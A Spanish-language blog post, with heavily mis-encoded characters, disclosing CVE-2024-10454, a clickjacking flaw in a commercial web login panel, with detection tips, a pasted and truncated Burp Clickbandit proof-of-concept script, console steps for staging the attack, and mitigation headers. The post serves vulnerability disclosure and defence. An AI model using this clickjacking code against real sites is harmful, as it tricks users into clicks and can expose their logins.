Introducci贸n
En este post quer铆a hacer referencia al reciente CVE que me han otorgado por parte de INCIBE. En concreto, se trata de una vulnerabilidad Clickjacking en un panel de inicio de sesi贸n que pude llevar a cabo con 茅xito en un aplicativo web dentro de una aplicaci贸n que se comercializa y no se hab铆a detectado hasta ahora. Pude reportarlo a INCIBE mediante el correo electr贸nico que tienen a disposici贸n de quien lo necesite [email protected] y, tras un tiempo esperando a que el fabricante arreglase la vulnerabilidad me lleg贸 el ansiado correo indic谩ndome que me hab铆an otorgado el CVE-2024-10454 en fecha octubre del 2024.
Explotaci贸n
La informaci贸n del CVE es la siguiente:
- 饾悅饾悤饾悇-饾煇饾煄饾煇饾煉-饾煆饾煄饾煉饾煋饾煉: CVSS v3.1: 6.1 | CVSS AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | CWE-1021.
饾悡饾悽饾惄饾惃 饾悵饾悶 饾惎饾惍饾惀饾惂饾悶饾惈饾悮饾悰饾悽饾惀饾悽饾悵饾悮饾悵: Clickjacking.
饾悡饾悽饾惄饾惉: Indico algunos consejos para detectar este tipo de vulnerabilidad por si a alg煤n profesional le resulta 煤til:
1) A la hora de acceder a un endpoint comprobar si el servidor no tiene configurado la cabecera X-Frame-Options o CSP.
Como se observa, no existe una configuraci贸n en el servidor a nivel de cabeceras como X-Frame-Options o CSP.
2) Si no existe una configuraci贸n de esta cabecera es posible que se pueda implementar un iframe transparente encima de alg煤n recurso sensible como puede ser un panel de inicio de sesi贸n. A modo PoC podemos utilizar la herramienta Burp Clickbandit, para ello hacemos click en el siguiente recurso:
Burp > Burp Clickbandit > Copy Clickbandit to clipboard
El c贸digo es el siguiente:
/* Copyright PortSwigger Ltd. All rights reserved. Usage is subject to the Burp Suite license terms. See https://portswigger.net for more details. / !function(){ var initialZoomFactor = '1.0', win, doc, width, height, clicks = []; function addClickTrap(element, minusY) { var clickTrap = doc.createElement('div'), cords = findPos(element); clickTrap.style.backgroundColor = 'none'; clickTrap.style.border = 'none'; clickTrap.style.position = 'absolute'; clickTrap.style.left = cords[0] + 'px'; clickTrap.style.top = cords[1] + 'px'; clickTrap.style.width = element.offsetWidth + 'px'; clickTrap.style.height = element.offsetHeight + 'px'; if(element.zIndex || element.zIndex === '0') { clickTrap.style.zIndex = +element.zIndex+1; } clickTrap.style.opacity = '0.5'; clickTrap.style.cursor = 'pointer'; clickTrap.clickTrap = 1; clickTrap.addEventListener('click', function(e) { generatePoc({x:e.pageX, y: minusY?e.pageY-minusY : e.page}); e.preventDefault(); e.stopPropagation(); return false; }, true); doc.body.appendChild(clickTrap); } function addMessage(msg) { var message = document.createElement('div'); message.style.width = '100%'; message.style.height = '20px'; message.style.backgroundColor = '#fff5bf'; message.style.border = '1px solid #ff9900'; message.style.padding = '5px'; message.style.position = 'fixed'; message.style.bottom = '0'; message.style.left = '0'; message.style.zIndex = 100000; message.style.textAlign = 'center'; message.style.fontFamily = 'Arial'; message.style.color = '#000'; message.appendChild(document.createTextNode(msg)); document.body.appendChild(message); setTimeout(function() { document.body.removeChild(message); }, 4000); } function htmlEscape(str) { str = str + ''; return str.replace(/[^\w :-\/.?=]/gi, function(c){ return '&#' + (+c.charCodeAt(0))+';'; }); } function getDocHeight(D) { return Math.max( D.body.scrollHeight, D.documentElement.scrollHeight, D.body.offsetHeight, D.documentElement.offsetHeight, D.body.clientHeight, D.documentElement.clientHeight ); } function getDocWidth(D) { return Math.max( D.body.scrollWidth, D.documentElement.scrollWidth, D.body.offsetWidth, D.documentElement.offsetWidth, D.body.clientWidth, D.documentElement.clientWidth ); } function findPos(obj) { var left = 0, top = 0; if(obj.offsetParent) { while(1) { left += obj.offsetLeft; top += obj.offsetTop; if(!obj.offsetParent) { break; } obj = obj.offsetParent; } } else if(obj.x && obj.y) { left += obj.x; top += obj.y; } return [left,top]; } function generatePoc(config) { var html = '', child = '', elementWidth = 1, elementHeight = 1, maxWidth = width, maxHeight = height, cords, zoomIncrement = 1, desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, element = config.element, x = config.x, y = config.y, pixelMode = false; if(config.clickTracking) { elementWidth = config.clickTracking[0].width; elementHeight = config.clickTracking[0].height; x = config.clickTracking[0].left; y = config.clickTracking[0].top; zoomIncrement = 1; config.currentPosition = 0; } else { config.clickTracking = []; if(element) { elementWidth = element.offsetWidth; elementHeight = element.offsetHeight; cords = findPos(element); x = cords[0]; y = cords[1]; zoomIncrement = 1; } else { zoomIncrement = 5; pixelMode = true; } } parentOffsetWidth = desiredX - x; parentOffsetHeight = desiredY - y; child = btoa('
3) En “Herramientas de desarrollador” o pulsando F12 nos situamos en la “consola” y copiamos el c贸digo (a veces est谩 restringido por defecto y tenemos que ejecutar la query “allow pasting()” )
4) El banner de Burp Clickbandit aparecer谩 en la parte superior de la ventana del navegador y la p谩gina original se volver谩 a cargar dentro de un iframe preparada para que se realice el ataque. Luego, simulamos la secuencia de clics que desea que realizar铆a la v铆ctima.
5) Cuando se completa el ataque de clickjacking (despu茅s de que la v铆ctima haya hecho clic en el 煤ltimo enlace) aparece el mensaje “you’ve been clickjacked”.
Mitigaci贸n
Para mitigar el clickjacking, una t茅cnica maliciosa en la que se enga帽a a los usuarios para que hagan clic en elementos web sin saberlo, puedes aplicar las siguientes medidas:
- X-Frame-Options: Configura el encabezado HTTP
X-Frame-Options
para que tu sitio web no se cargue en un iframe o se restrinja su carga en sitios no autorizados. Opciones:
DENY
: Impide que el contenido se cargue en cualquier iframe.SAMEORIGIN
: Permite cargarlo solo si el sitio que lo solicita pertenece al mismo dominio.
- Content-Security-Policy (CSP): Configura una pol铆tica CSP en los encabezados HTTP, especificando el par谩metro
frame-ancestors
. Esto te permite definir qu茅 or铆genes pueden cargar tu sitio en un iframe.
- Ejemplo:
Content-Security-Policy: frame-ancestors 'self'
.
- JavaScript para detecci贸n de iframes: Usa JavaScript para detectar si el sitio est谩 siendo cargado en un iframe y redir铆gelo fuera del iframe. Ejemplo:
if (window.top !== window.self) {
window.top.location = window.self.location;
}
- Autenticaci贸n en el lado del servidor: Implementa controles de autenticaci贸n adicionales en el lado del servidor para garantizar que las solicitudes se realicen desde fuentes leg铆timas y no desde iframes de terceros.
- Revisi贸n y auditor铆a de terceros: Aseg煤rate de auditar las integraciones de terceros y sus permisos para asegurarte de que no comprometan la seguridad de tu sitio mediante pr谩cticas de clickjacking.
Estas medidas pueden usarse en conjunto para garantizar una protecci贸n completa contra ataques de clickjacking.
Links: